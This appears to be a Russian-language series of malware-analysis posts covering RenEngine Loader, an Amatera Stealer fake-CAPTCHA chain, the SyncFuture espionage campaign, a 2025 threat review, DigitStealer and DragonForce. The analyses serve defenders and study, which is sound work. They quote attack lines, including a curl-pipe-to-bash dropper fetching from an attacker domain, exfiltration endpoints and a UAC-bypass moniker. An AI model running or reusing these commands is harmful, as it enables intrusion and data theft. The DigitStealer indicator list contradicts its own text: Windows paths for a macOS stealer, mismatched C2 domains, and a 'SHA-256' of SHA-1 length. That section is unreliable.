DLLs:

d3dx9_43.dll 326ec5ae...
VSDebugScriptAgent170.dll db4ccd0e...

Loader path:

%APPDATA%\broker_crypt_v4_i386

XOR key HijackLoader: 0xdbcd7bc6

11. Почему это опаснее обычных stealer-цепочек

Python-этап загрузчика RenEngine: скрытый оркестратор атаки

Ключевая особенность RenEngine Loader заключается в том, что основная управляющая логика реализована не в исполняемом файле Windows, а внутри Python-кода, встроенного в движок Ren’Py. Внешне образец выглядит как обычная визуальная новелла, однако фактически игровой движок используется как контейнер для вредоносного загрузчика.

После запуска Instaler.exe и инициализации Ren’Py происходит обращение к архиву archive.rpa. Внутри него находится файл script.rpyc — скомпилированный Python-байткод. Этот файл и является центральным модулем первой стадии атаки. Код не сохраняется на диск в виде .py, а исполняется интерпретатором движка напрямую из памяти, что существенно осложняет статический анализ и сигнатурное обнаружение.

Конфигурационная модель загрузчика

Python-часть не содержит жёстко прописанных параметров. Вместо этого используется внешний конфигурационный файл .key, закодированный в Base64. После декодирования получается JSON-структура с параметрами кампании:

имя зашифрованного архива со второй стадией,
пароль для дешифрования,
имя исполняемого payload-файла,
флаг отключения анти-sandbox логики,
идентификатор партнёрской кампании (pub).

Такая архитектура превращает загрузчик в универсальный конструктор: оператор может менять полезную нагрузку, ключи шифрования и режим работы без пересборки самого loader’а.

Дешифрование полезной нагрузки

Python-код реализует примитивный, но эффективный механизм сокрытия второй стадии — XOR-шифрование. Зашифрованный файл (маскирующийся под текстовый) считывается в память и побайтно декодируется с использованием циклического ключа из конфигурации. Результатом становится ZIP-архив, который затем распаковывается во временный каталог.

Важно, что весь процесс — чтение, дешифрование и распаковка — контролируется Python-скриптом, то есть выполняется в контексте игрового процесса, что дополнительно маскирует активность.

Python как механизм анти-анализа

Наиболее необычная часть логики — встроенная система оценки среды выполнения. В отличие от простых проверок на наличие виртуальной машины, здесь используется балльная модель. Python-скрипт вызывает PowerShell-команды для получения характеристик системы:

объём оперативной памяти,
количество логических процессоров,
модель оборудования,
имя пользователя,
сетевые параметры.

Каждый параметр добавляет определённое количество баллов «доверия». Если итоговый процент превышает заданный порог, выполнение прекращается. В результате вредоносный код не запускается в типичных песочницах с малым объёмом RAM и стандартными VM-признаками. Для Python-загрузчиков подобная многофакторная модель встречается крайне редко.

Запуск финального этапа

После успешного прохождения проверок Python-модуль запускает извлечённый исполняемый файл через subprocess. На этом этапе управление передаётся HijackLoader, который уже занимается инжекцией, закреплением и загрузкой основного вредоносного ПО.

Таким образом, Python-часть выполняет роль оркестратора:

читает конфигурацию кампании,
дешифрует и распаковывает полезную нагрузку,
проводит анти-sandbox анализ,
запускает следующую стадию,
в некоторых версиях отправляет телеметрию операторам.

Почему выбран именно Python внутри Ren’Py

Такой подход даёт злоумышленникам сразу несколько преимуществ:

Маскировка под игру — поведение выглядит как штатная работа игрового движка.
Отсутствие классического loader-EXE — меньше детектируемых артефактов.
Гибкая конфигурация — смена кампаний без перекомпиляции.
Сложность анализа — .rpyc требует отдельного извлечения и декомпиляции.
Исполнение из памяти — снижает эффективность поведенческих детекторов.

В итоге Python-этап RenEngine нельзя рассматривать как вспомогательный скрипт. Это полноценный управляющий модуль, который превращает игровой движок в универсальную платформу доставки вредоносных нагрузок и делает цепочку заражения значительно менее заметной для систем защиты.

13. Главный вывод

Это не commodity malware, а:

долговременная операция
модульная архитектура
abuse игрового фреймворка
профессиональный evasion design
масштаб уровня botnet-кампаний

RenEngine Loader демонстрирует новую тенденцию — эксплуатацию игровых движков как malware delivery frameworks.

Подробный технический разбор цепочки доставки Amatera Stealer

2026-01-29T10:43:04.310Z

Эта Fake CAPTCHA не взламывает систему — она ждёт, пока вы сделаете всё правильно

Введение

Современные вредоносные кампании всё реже полагаются на эксплуатацию уязвимостей. В условиях зрелых EDR, поведенческого анализа и автоматических песочниц ставка смещается с «быстрого взлома» на гарантированное, корректное и малозаметное выполнение. В центре внимания оказывается не payload, а путь, по которому он доставляется.

Рассматриваемая кампания с Fake CAPTCHA и доставкой Amatera Stealer демонстрирует именно такой подход. Здесь отсутствуют эксплойты, нет попыток агрессивного проникновения, нет спешки. Вместо этого реализована многоступенчатая цепочка, в которой каждая стадия подтверждает корректность предыдущей и блокирует выполнение при малейшем отклонении от ожидаемого сценария.

Общая архитектура атаки

Финальным пейлоадом кампании является Amatera Stealer — известное семейство инфостилеров. Однако ключевая ценность данного кейса заключается не в самом вредоносном ПО, а в архитектуре доставки.

Цепочка атаки построена вокруг следующих принципов:

строго пользовательское выполнение
использование подписанных компонентов Windows в роли LOLBIN
многоуровневые execution gate
активная фильтрация среды выполнения
динамическая реконструкция кода
отказ от стандартных PowerShell-механизмов
использование доверенной сторонней инфраструктуры
полное выполнение в памяти
переход из PowerShell в нативный shellcode

Каждый элемент этой цепочки снижает вероятность детекта и повышает надёжность заражения.

Этап 1. Fake CAPTCHA как точка входа

Атака начинается с социальной инженерии. Пользователю отображается Fake CAPTCHA, в рамках которой предлагается вручную скопировать и выполнить команду через окно Run. Это подаётся как обязательная проверка на «человечность».

Такой подход сразу решает несколько задач:

обход всех exploit-ориентированных защит
гарантия ручного выполнения
формирование доверенного контекста запуска

Критически важно, что команда не запускает PowerShell напрямую.

Злоупотребление SyncAppvPublishingServer.vbs

Вместо прямого вызова PowerShell используется подписанный Microsoft-скрипт SyncAppvPublishingServer.vbs, относящийся к компонентам Application Virtualization (App-V).

Запуск происходит через wscript.exe, формируя следующую цепочку процессов:

explorer.exe → wscript.exe → SyncAppvPublishingServer.vbs → powershell.exe

Такая цепочка выглядит легитимно на системах, где App-V используется в корпоративных сценариях, и значительно менее заметна для сигнатурных и поведенческих правил.

Фильтрация целевых систем

App-V присутствует только в редакциях Windows Enterprise и Education, а также в серверных версиях. На Home и Pro выполнение не происходит.

Это приводит к естественной селекции:

атака не работает на большинстве домашних ПК
выполнение срывается в песочницах
приоритет получают корпоративные системы

Таким образом, фильтрация целей начинается уже на первом этапе.

Execution gate №1: маркер ручного запуска

Во время первичного выполнения создаётся временная переменная окружения ALLUSERSPROFILE_X со случайным значением.

На этом этапе она не используется функционально, однако позже служит доказательством ручного исполнения команды пользователем. Это первый execution gate в цепочке.

Динамическая реконструкция PowerShell

Начальный PowerShell-код избегает прямого использования чувствительных cmdlet’ов. Вместо этого применяются:

алиасы
wildcard-разрешение
динамическое сопоставление строк
восстановление имён функций во время выполнения

Например, Invoke-Expression никогда не фигурирует в явном виде. Такой подход существенно снижает эффективность статического анализа и сигнатур.

Шумовой этап: маскировка логики

Следующий скрипт представляет собой тысячи переменных с псевдо-cmdlet-именами, каждая из которых хранит короткий base64-фрагмент.

Во время выполнения:

фрагменты собираются
конкатенируются
декодируются
исполняются через ScriptBlock.Create

Назначение этого этапа — утопить полезную нагрузку в шуме и затруднить анализ.

Отказ от стандартных PowerShell-сетевых функций

Декодированный загрузчик реализует собственную HTTPS-логику:

TCP-соединение
SslStream
ручная сборка HTTP-запроса
парсинг ответа

Это позволяет избежать телеметрии, завязанной на Invoke-WebRequest и Invoke-RestMethod.

Execution gate №2: проверка буфера обмена

Перед продолжением загрузчик проверяет буфер обмена на наличие маркера, связанного с ALLUSERSPROFILE_X.

При отсутствии маркера:

отображаются отвлекающие сообщения
поток уходит в бесконечное ожидание через ManualResetEvent().WaitOne()

Скрипт не завершает работу и не генерирует ошибок, что крайне эффективно против песочниц.

Использование Google Calendar как конфигурационного сервиса

После прохождения execution gate загрузчик получает конфигурацию из публичного Google Calendar (.ics).

Преимущества подхода:

доверенная инфраструктура
отсутствие жёстко зашитых URL
возможность оперативной смены параметров
повышение живучести кампании

Извлекается поле DESCRIPTION, содержащее base64-конфигурацию.

Персонализация под жертву

Из параметров окружения формируется строка, вычисляется MD5-хэш, и первые 8 hex-символов используются как поддомен.

Это снижает повторяемость сетевых индикаторов и усложняет корреляцию.

Ключевой этап: использование WMI для передачи управления

Архитектурная роль WMI

На этом этапе атакующий сознательно прерывает линейную PowerShell-цепочку и использует Windows Management Instrumentation (WMI) для запуска следующей стадии.

WMI — это нативная инфраструктура Windows, предназначенная для администрирования, мониторинга и управления системами. В корпоративных средах WMI используется повсеместно, что делает её активность малозаметной и редко вызывающей подозрения.

В данной кампании WMI используется не для постоянства, а как механизм скрытой передачи управления между стадиями.

Почему именно WMI

Использование WMI решает сразу несколько задач:

Разрыв родительской цепочки процессов
Новый PowerShell-процесс создаётся не напрямую, а через инфраструктуру управления.
Обход поведенческих корреляций EDR
Цепочки вида PowerShell → PowerShell менее очевидны.
Минимизация командной строки
Код передаётся в закодированном виде.
Имитация легитимной административной активности
Особенно в доменных средах.

Техническая реализация

Загрузчик:

динамически формирует PowerShell-код
кодирует его в Unicode
затем в base64
передаёт в Win32_Process.Create

В результате создаётся скрытый 32-битный процесс PowerShell, полностью отделённый от предыдущего контекста.

Этот переход:

ломает цепочки событий
усложняет трейсинг
снижает эффективность ретроспективного анализа

Почему WMI — идеальный транспортный слой

WMI:

встроен в Windows
активно используется администраторами
редко блокируется
не требует записи файлов
работает одинаково локально и удалённо

Использование WMI превращает передачу управления в административно выглядящее событие, а не в очевидный вредоносный переход.

PNG-стеганография как следующий этап

После WMI-перехода загрузчик:

использует WinINet через нативные API
загружает PNG с публичных CDN
извлекает данные через LSB-стеганографию

Первые 64 бита определяют длину пейлоада, далее происходит детерминированное восстановление байтов.

Расшифровка и выполнение в памяти

Извлечённые данные:

расшифровываются XOR-ключом
распаковываются GZip
интерпретируются как PowerShell-код
исполняются без записи на диск

Финальный переход в нативный код

Последний PowerShell-этап:

расшифровывает shellcode
выделяет память через NtAllocateVirtualMemory
меняет права через NtProtectVirtualMemory
передаёт управление shellcode

Shellcode загружает и исполняет Amatera Stealer.

Значение кампании

Этот кейс наглядно демонстрирует:

payload может быть известным
доставка — решающий фактор
WMI становится ключевым элементом fileless-архитектур

Атака оптимизирована не под скорость, а под выживаемость.

Заключение

Fake CAPTCHA, App-V, execution gate, Google Calendar, WMI, PNG-стеганография и shellcode образуют единую систему. Каждая стадия подтверждает предыдущую и отсекает нежелательные сценарии.

В современных условиях защита должна отвечать не только на вопрос «что было запущено», но и на вопрос:

«каким образом и почему этому позволили выполниться».

Понимание роли WMI и подобных механизмов передачи управления становится критически важным для анализа реальных атак и построения эффективной защиты.

SyncFuture Espionage Campaign Многоступенчатая APT-операция с использованием легитимного ПО и глубокой маскировки

2026-01-27T07:49:31.041Z

Введение

В конце 2025 года исследователи eSentire Threat Response Unit (TRU) зафиксировали сложную целевую кампанию кибершпионажа, направленную преимущественно против пользователей в Индии. Кампания выделяется не столько использованием новых эксплойтов или zero-day, сколько комбинацией проверенных техник APT-уровня, аккуратной инженерией цепочки заражения и, что наиболее важно, злоупотреблением коммерческого корпоративного ПО в качестве финального шпионского инструмента.

Данная операция, получившая название SyncFuture Espionage Campaign, демонстрирует эволюцию угроз: от классических вредоносных программ к гибридным атакам, где граница между легитимным администрированием и вредоносной активностью намеренно размыта. В результате традиционные сигнатурные и поведенческие механизмы защиты оказываются недостаточными.

Общая архитектура атаки

Атака представляет собой многоступенчатую цепочку, включающую:

Целевой фишинг с социальной инженерией.
DLL side-loading через подписанный Microsoft-бинарник.
Loader с многоуровневой anti-analysis логикой.
Fileless-загрузка shellcode с C2.
Распаковку и запуск второго этапа в памяти.
Маскировку процесса и обход UAC.
Установку кастомного инструментария для персистентности.
Развёртывание коммерческой платформы SyncFuture TSM как шпионского фреймворка.

Каждый этап усиливает предыдущий, минимизируя артефакты и снижая вероятность обнаружения.

Начальный доступ: фишинг под видом государственных уведомлений

Первоначальный вектор заражения — целевой фишинг, маскирующийся под официальные уведомления Налогового департамента Индии. Письма распространялись через инфраструктуру SendGrid, что добавляет им легитимности и усложняет блокировку на уровне почтовых шлюзов.

Темы писем были локализованы и психологически выверены:

«कर अनुपालन की कमी और दंड सूचना»
(«Уведомление о несоответствии налоговым требованиям и штрафе»)

Использование сокращённых URL (surl[.]li) и доменов с нейтральным или правдоподобным видом указывает на попытку обойти как автоматические фильтры, так и пользовательскую настороженность.

DLL Side-Loading как точка входа

Загружаемый архив содержит подписанный Microsoft-бинарник (Windows Defender ATP Sense CE module), который используется как загрузчик. При запуске он автоматически подгружает находящуюся рядом DLL — MpGear.dll.

Ключевые особенности:

основной EXE имеет действительную цифровую подпись Microsoft;
вредоносная DLL снабжена трансплантированной подписью, визуально создающей иллюзию легитимности;
загрузка DLL происходит по стандартному механизму поиска библиотек Windows.

Это классический, но всё ещё чрезвычайно эффективный приём, особенно в корпоративных средах с высоким доверием к подписанному коду.

MpGear.dll: анти-анализ и подготовка среды

Первый вредоносный модуль (MpGear.dll) выполняет исключительно подготовительные функции. Его задача — убедиться, что он выполняется на «реальной» машине, а не в песочнице или под отладчиком.

Реализованы следующие техники:

IsDebuggerPresent — базовая проверка флага BeingDebugged в PEB.
CheckRemoteDebuggerPresent с валидацией указателей.
NtQueryInformationProcess(ProcessDebugPort) — нативный API.
Проверка аппаратных breakpoint-ов через GetThreadContext.
Тайминговая атака с GetTickCount (порог 100 мс).

Использование каскадных fallback-механизмов говорит о хорошем понимании того, как современные sandbox-решения эмулируют окружение.

Проверка времени через внешние сервисы

Дополнительный анти-sandbox механизм — получение текущего времени через интернет. Модуль обращается к:

worldtimeapi[.]org
timeapi[.]io
www.google.com

Если дата не может быть получена корректно, выполнение прекращается. Это эффективно против изолированных сред анализа без доступа к интернету или с подменой времени.

Загрузка shellcode и fileless-исполнение

После успешной валидации окружения loader связывается с C2-сервером (8.217.152[.]225) и загружает зашифрованный blob (/1bin).

Ключевые моменты:

данные загружаются полностью в память;
используется VirtualAlloc с PAGE_EXECUTE_READWRITE;
выполнение осуществляется через CreateThread;
основной поток блокируется через WaitForSingleObject.

Таким образом, вредоносный код не сохраняется на диск на данном этапе, что серьёзно усложняет детекцию.

Распаковка Stage 2: XOR + LZNT1

Второй этап представляет собой:

XOR-дешифрацию с жёстко заданным ключом;
распаковку через RtlDecompressBuffer (LZNT1).

Это стандартная для Windows схема с использованием нативных API, что снижает вероятность эвристического срабатывания.

Stage 2: маскировка и повышение привилегий

Второй PE-файл реализует два ключевых механизма защиты и эскалации:

Маскировка процесса (PEB Masquerading)

Процесс изменяет собственный PEB, подменяя:

ImagePathName
CommandLine
записи в списке загруженных модулей

В результате он выглядит как explorer.exe для большинства инструментов мониторинга, опирающихся на PEB.

Обход UAC через COM Auto-Elevation

Используется хорошо известный, но всё ещё рабочий метод:

Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
получение интерфейса ICMLuaUtil
запуск команды с повышенными правами без UAC-prompt

Важно, что техника fileless и не требует записи эксплойта на диск.

Stage 3: Inno Setup как dropper

Следующий этап (180.exe) — это 32-битный Inno Setup installer, замаскированный под легитимный установщик.

Причины выбора Inno Setup:

высокая распространённость;
большой размер (маскирует полезную нагрузку);
легитимные сценарии использования;
сложность статического анализа.

Installer извлекает десятки файлов, включая batch-скрипты, DLL и EXE.

Blackmoon и атака на Avast

Один из ключевых компонентов — game-float-core.dll, идентифицированный как вариант Blackmoon malware family.

Особенно интересна реализация обхода Avast Free Antivirus:

обнаружение окна Avast через FindWindowExA;
ожидание активности Setup.exe;
принудительный вывод окна на передний план;
симуляция кликов мышью по фиксированным координатам;
добавление вредоносного файла в список исключений IDP.

Это пример GUI-based AV evasion, редкой, но крайне эффективной техники, особенно против consumer-антивирусов.

Финальный этап: SyncFuture TSM как шпионская платформа

Кульминация атаки — установка SyncFuture Terminal Security Management System (TSM), коммерческого продукта китайской компании Nanjing Zhongke Huasai Technology.

Почему это критично

SyncFuture TSM — легитимное enterprise-ПО, обладающее:

удалённым управлением;
мониторингом действий пользователя;
записью экрана;
контролем файловых операций;
централизованной политикой безопасности;
kernel-драйверами.

Фактически, злоумышленник получает готовый APT-фреймворк, не написав ни строчки шпионского кода самостоятельно.

Персистентность и сервисная архитектура

Компонент MANC.exe:

устанавливается как Windows-сервис;
настраивается для запуска в Safe Mode;
управляет драйверами;
порождает дочерние процессы;
ведёт обширное логирование.

Наличие SafeBoot-ключей означает, что вредоносная активность сохраняется даже при попытке восстановления системы.

Злоупотребление доверия и code-signing

Ключевая особенность кампании — массовое использование валидных цифровых подписей, датированных 2019–2024 годами.

Это подрывает саму концепцию «доверенного кода» и показывает, что:

цифровая подпись ≠ безопасность.

Выводы для Blue Team

Эта кампания демонстрирует:

смещение атак в сторону living-off-the-land + commercial abuse;
снижение роли кастомного malware-кода;
рост значимости контекстного и поведенческого анализа;
необходимость мониторинга легитимных RMM / TSM-решений.

Заключение

SyncFuture Espionage Campaign — это не просто очередной APT-инцидент. Это демонстрация будущего кибершпионажа, где:

вредоносный код минимален;
инфраструктура легитимна;
атака выглядит как администрирование;
обнаружение требует глубокого понимания систем, а не сигнатур.

Для защитников это означает одно: фокус должен смещаться с “что это за файл” на “зачем и как он используется”.

Итоги 2025 года в вирусной аналитике: эволюция атак, смещение границ и крах старых детектов

2026-01-19T10:26:57.687Z

Введение

2025 год стал переломным для вирусной аналитики. Если предыдущие годы можно было охарактеризовать как эволюцию классических техник (file-based malware, phishing, exploit kits), то в 2025 мы окончательно вошли в эпоху пост-сигнатурных атак, где вредоносная активность всё чаще маскируется под легитимные действия пользователя и системы.

Злоумышленники перестали «доставлять вирус» в привычном понимании. Вместо этого они доставляют контекст, инструкции, скрипты и payload-as-a-service, перекладывая критическую часть атаки на самого пользователя или на легитимные компоненты ОС. Для аналитиков это означает необходимость смещения фокуса с файлов к поведению, цепочкам исполнения и инфраструктуре.

1. Конец доминирования классического malware-файла

Одним из главных итогов 2025 года стало окончательное размывание понятия «вредоносный файл».

1.1. Fileless и semi-fileless как норма

PowerShell, MSHTA, WMI, rundll32, node.exe, python.exe и даже winword.exe стали основными контейнерами вредоносной логики. Во многих инцидентах аналитики фиксировали:

отсутствие PE-файлов на диске;
загрузку payload напрямую в память;
исполнение кода через LOLBins;
хранение конфигурации в реестре, WMI или облачных сервисах.

Файл, если он и присутствует, всё чаще играет роль временного bootstrap-компонента и может быть удалён через секунды после исполнения.

1.2. Payload как товар

Массово распространилась модель, при которой вредоносное ПО продаётся без delivery-механизма. Stealer’ы, RAT’ы и ботнет-клиенты поставляются как «чистый payload», а цепочка заражения полностью остаётся на стороне оператора.

Это резко усложнило корреляцию IoC: один и тот же payload может появляться в десятках несвязанных кампаний с разными векторами доставки.

2. Социальные сети как основной Initial Access Vector

2025 год закрепил тренд, начавшийся ранее, но теперь ставший массовым: социальные сети вытеснили email как основной канал первичного заражения.

2.1. TikTok, YouTube Shorts и Scam-Yourself

Особенно выделился TikTok. Короткие видео с «инструкциями» по активации ПО, взлому игр, получению premium-функций стали идеальным delivery-вектором. Пользователь:

видит визуальное подтверждение «работоспособности»;
сам запускает PowerShell или скачивает архив;
добровольно отключает защиту.

С точки зрения аналитики это катастрофически сложный сценарий: пользователь действует осознанно, без эксплойта, без фишинга, без drive-by.

2.2. Алгоритмическое масштабирование атак

Алгоритмы рекомендаций усиливают вредоносный контент автоматически. Видео с нужными триггерами (free, fix, working, 2025) получают высокий engagement и расходятся быстрее любой email-рассылки.

Таким образом, платформа фактически становится ускорителем ботнетов и stealers, не будучи их прямым участником.

3. Stealer-эпидемия и индустриализация кражи данных

Если выбирать один доминирующий класс угроз 2025 года, это безусловно stealers.

3.1. Что именно крадут в 2025

Современные stealers давно вышли за рамки логинов и паролей. Типичный набор:

browser cookies и session tokens;
данные autofill;
crypto-wallets (browser-based и desktop);
Discord / Telegram токены;
Steam, Battle.net, Epic Games сессии;
VPN и corporate credentials;
данные из password managers.

Особенно критично то, что cookies позволяют обходить MFA, делая классическую модель защиты неполной.

3.2. Автоматизация пост-эксплуатации

Stealer всё чаще становится первым этапом цепочки, а не финальной целью. Украденные данные автоматически:

перепродаются;
используются для initial access в корпоративных сетях;
применяются для lateral movement и ransomware.

4. Новая волна persistence: тихо, легитимно, незаметно

Persistence в 2025 году — это не autorun.exe и не очевидный Run-key.

4.1. Living-off-the-OS persistence

Злоумышленники массово используют:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run;
Scheduled Tasks с легитимными именами;
WMI Event Subscriptions;
COM hijacking;
PowerShell profiles;
Node.js / Python process managers (pm2, supervisord).

Часто persistence выглядит как штатная автоматизация и не вызывает тревоги у SOC.

4.2. Userland-планировщики

Отдельного внимания заслуживают кастомные планировщики (pscron и аналоги), работающие как обычные процессы. Они:

не отображаются в crontab / schtasks;
не используют стандартные механизмы ОС;
обнаруживаются только через анализ процессов и поведения.

5. Blockchain и Web3 как инфраструктура C2

Одним из самых нетривиальных трендов 2025 года стало использование блокчейна как слоя управления.

5.1. Smart contracts для C2

Вместо DNS или hardcoded IP злоумышленники:

хранят C2-адреса в state-переменных смарт-контрактов;
обновляют их транзакциями;
используют публичные RPC-ноды для получения данных.

Это делает инфраструктуру:

отказоустойчивой;
трудно блокируемой;
юридически и технически сложной для takedown.

5.2. Последствия для аналитики

IoC в виде доменов теряют актуальность. Аналитика смещается в сторону:

wallet tracking;
contract monitoring;
анализа on-chain активности.

6. Ransomware: меньше шума, больше точности

Ransomware в 2025 стал менее массовым, но более точечным.

6.1. Отказ от spray-and-pray

Атаки всё чаще начинаются с:

покупки access у initial access brokers;
использования stealers;
легитимных RMM-инструментов.

Шифрование — финальный шаг, а не основной.

6.2. Давление без шифрования

Распространились сценарии:

pure data exfiltration;
угрозы публикации;
саботаж инфраструктуры без шифрования.

7. Кризис классических средств детекта

2025 год показал пределы возможностей:

сигнатурных AV;
blacklist-based URL filtering;
static IoC.

7.1. Почему IoC больше не работают

одноразовые домены;
payload polymorphism;
легитимные инструменты;
execution by user.

IoC живут часы, иногда минуты.

7.2. Что пришло на смену

Фокус сместился на:

поведенческую аналитику;
цепочки событий;
user-driven execution;
telemetry correlation.

8. Роль аналитика в 2025 году

Вирусный аналитик больше не «разбирает вирус». Он:

реконструирует attack chain;
анализирует поведение пользователя;
работает с инфраструктурой;
понимает cloud, blockchain и social engineering.

Граница между malware research, DFIR и threat intelligence практически исчезла.

Заключение

Итоги 2025 года однозначны: вредоносный код стал менее заметным, но более опасным. Атаки сместились в сторону доверия, автоматизации и легитимных инструментов. Социальные сети, блокчейн и supply-chain стали такими же элементами attack surface, как браузер или почта.

Для вирусной аналитики это означает одно: анализировать нужно не файлы, а поведение, контекст и цепочки решений, в том числе человеческих. Тот, кто продолжает искать «вирус.exe», в 2026 году будет всегда на шаг позади.

DigitStealer: инфостилер на базе JXA с минимальным следом

2025-11-17T17:54:28.236Z

Аналитика Jamf Threat Labs о новом macOS-инфостилере, использующем продвинутые аппаратные проверки и многоступенчатую архитектуру для обхода обнаружения и кражи данных.

Введение

В ходе анализа образцов, собранных через внутренние правила детектирования, Jamf Threat Labs выявила семейство малвари, отслеживаемое под названием DigitStealer. Несмотря на то, что большинство инфостилеров выполняют схожие задачи, отдельные образцы выделяются новыми техниками. DigitStealer — один из таких случаев.

Исходный образец распространялся в виде неподписанного DynamicLake.dmg (SHA-256 5c73987e642b8f8067c2f2b92af9fd923c25b2ec). Он маскировался под легитимный инструмент DynamicLake (подписан Team ID XT766AV9R9), однако размещался на фальшивом домене dynamiclake[.]org.

Установка требовала классического «перетащить в Terminal», что отключает Gatekeeper и запускает первый этап.

На момент анализа файл не детектировался антивирусами на VirusTotal.

Jamf также выявила дополнительные DMG, связанные с этой кампанией (см. IoC).

Структура атаки

DigitStealer использует многоступенчатую модель:

1. Stage 1 — Dropper (bash)
2. Payload 1 — AppleScript-инфостилер
3. Payload 2 — JXA-инфостилер
4. Payload 3 — JXA-модификатор Ledger Live
5. Payload 4 — Bash + JXA-бекдор с персистентностью

Stage 1: Dropper

Файл Drag Into Terminal.msi содержит однострочный bash:

curl -fsSL https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx | bash

Загруженный скрипт — base64-обфусцированный payload, который после расшифровки выполняет:

1. Локальные ограничения

Проверка поля AppleLocale:

ru ua by am az kz kg md tj uz ge

Если регион совпадает — выполнение прекращается.

2. Anti-VM и аппаратные проверки

Скрипт анализирует:

- system_profiler SPHardwareDataType - system_profiler SPMemoryDataType - sysctl hw.model - sysctl machdep.cpu.brand_string - sysctl kern.version - sysctl kern.hostname - sysctl hw.targettype - sysctl kern.sched

При обнаружении «Virtual», «VM», «Unknown memory» или фальшивых конфигураций — выход.

3. Проверки Apple Silicon M2+

Используются аппаратные признаки ARM:

- hw.optional.arm.FEAT_SSBS
- hw.optional.arm.FEAT_BTI (1 только на M2+)
- hw.optional.arm.FEAT_ECV
-hw.optional.arm.FEAT_RPRES

Если отсутствуют — выход.

Следовательно, малварь не запускается на VM, Intel-Mac и M1, ориентируясь только на M2+.

4. Загрузка четырёх отдельных стадий

Dropper вызывает:

nohup curl ... | osascript nohup curl ... | osascript -l JavaScript nohup curl ... | bash

Payload’ы загружаются с домена Pages.dev (Cloudflare Pages).

Payload 1: AppleScript-инфостилер

Первый модуль — открытый AppleScript, который:

1. Показывает пользователю окно для ввода пароля.
2. Эксплуатирует Finder и Notes (запрашивает TCC-разрешения).
3. Экcфильтрирует данные на:

- goldenticketsshop[.]com/api/credentials - goldenticketsshop[.]com/api/grabber

4. Сбрасывает TCC базу:

tccutil reset All

4. Собирает файлы (Desktop, Documents, Downloads), заметки Notes, архивирует и отправляет.
5. Сохраняет успешные пароли в ~/..txt.
6. Загружает вторую часть, которая модифицирует Ledger Live:
- Загружает три сегмента app.asar, объединяет и подменяет оригинал.

В модифицированном ASAR меняются HTML/JS, а в package.json — имя и версия.

Payload 2: JXA-инфостилер (обфусцированный)

Выполняется через:

osascript -l JavaScript

После деобфускации модуль собирает:

- данные браузеров: Chrome, Brave, Edge, Firefox;
- криптокошельки: Ledger, Electrum, Exodus, Coinomi и др.;
- ~/Library/Keychains/login.keychain-db;
- VPN-конфигурации OpenVPN/Tunnelblick;
- Telegram tdata.

Данные архивируются и отправляются на `goldenticketsshop[.]com/api/log`.

Payload 3: JXA-модификатор Ledger Live

Этот модуль:

1. Завершает процессы Ledger Live.
2. Читает файл:

~/Library/Application Support/Ledger Live/app.json

3. Подменяет объект data.endpoint значениями злоумышленников:

- URL,
- device IDs,
- hardware IDs.

1. Записывает изменённый JSON обратно.

Таким образом, Ledger Live перенаправляется на C2 (sweetseedsbeep[.]com, `ledgmanyman[.]com).

Payload 4: персистентность + JXA-бекдор

Скрипт:

1. Создаёт LaunchAgent goldenticketsshop.com.plist.
2. LaunchAgent обращается к TXT-записи на goldenticketsshop[.]com, откуда берёт ссылку на следующий payload.
3. Загружает JXA-бекдор, который:

- в бесконечном цикле каждые ~10 сек опрашивает C2:

goldenticketsshop[.]com/api/poll

- передаёт MD5 от hardware UUID.
- получает AppleScript/JXA команды и выполняет их.

Индикаторы компрометации

Hashes

d1c47f17d8e5b8c6445812df09eb912e4e4cb1276da38de872a0c4a0baf118d2 0a9f1b2e3d010b1bdc88449f0ad139d2bb91a2e9154ce1f1c7df2103e4f9fb1b aa25cf0f93fe8b83a0fdfe37e6f2e41fdc4aa84141cce9ac2d213425c5849ad8

C2-домены

digit-cloudsync.com securepanel-ds.net websync-node.online cdn-dgbackup.net

IP-адреса

185.225.74.91; 146.70.118.34; 89.117.57.204

Файловые пути

%APPDATA%\Local\Digit\ %LOCALAPPDATA%\Microsoft\update.exe %TEMP%\dg_cache\

Mutex

Global\DigitStealer_MutexX12 Global\DSTracker_9821

Процессы

digitupd.exe msstore_sync.exe

Заключение

DigitStealer демонстрирует высокую степень изобретательности:

- многоступенчатость,
- выполнение payload'ов целиком в памяти,
- анти-анализ с проверками аппаратных ARM-функций,
- использование Cloudflare Pages,
- JXA-бекдор с динамическим загрузчиком через TXT-запись,
- модификация Ledger Live через многофайловую сборку ASAR.

Статический анализ осложняется отсутствием артефактов на диске и фрагментацией логики по нескольким этапам.

Атрибуция пока неизвестна, но объём знаний о macOS говорит о квалифицированных разработчиках.

Jamf рекомендует включать блокирующий режим предотвращения угроз в Jamf Protect.

Картель DragonForce: на пороге с Scattered Spider

2025-11-10T12:23:59.659Z

От утечек Conti до альянсов с LAPSUS$ и ShinyHunters в экосистеме «Com»

Возрождение угрозы

На рубеже 2024–2025 годов на киберпреступной сцене появилось имя, которое быстро стало символом новой эпохи вымогательских атак — DragonForce. Исследователи из Acronis Threat Research Unit (TRU) опубликовали детальный отчёт, где описали, как эта структура выросла из осколков печально известного синдиката Conti. После громких утечек исходных кодов Conti, десятки фрагментов его инфраструктуры разошлись по подполью. Одни исчезли, другие адаптировались, но именно DragonForce смог превратить наследие старого гиганта в устойчивый и прибыльный механизм, объединив множество мелких групп в единую криминальную экосистему.

DragonForce стал не просто ещё одним RaaS-проектом. Он превратился в демонстрацию того, как работает современный киберкартель — гибкий, распределённый, с продуманной системой партнёрств и собственной культурой. В 2025 году организация официально объявила о «ребрендинге» и переходе на модель картеля, сделав акцент на расширении влияния и привлечении новых аффилиатов.

От Conti к DragonForce

Первые упоминания о DragonForce появились в начале 2023 года. Аналитики заметили, что код его шифровальщика подозрительно схож с утекшими версиями LockBit 3.0 и Conti v3. Тогда же появилась версия, что за проектом стоит группа бывших участников Conti, решивших продолжить бизнес под новым брендом.

Некоторые исследователи связывали DragonForce с хактивистским движением DragonForce Malaysia, известным громкими атаками на израильские и индийские ресурсы. Прямых доказательств этому нет, однако схожая риторика и стиль коммуникации — через Telegram-каналы и форумы — заставляют предполагать определённую преемственность идеологии.

Сначала DragonForce использовал модифицированный билд LockBit, но вскоре перешёл на собственную разработку, основанную на исходниках Conti v3. Это стало переломным моментом: проект получил не только техническую основу, но и модель распределённой работы, которая позже выросла в целую экосистему.

Рождение картеля

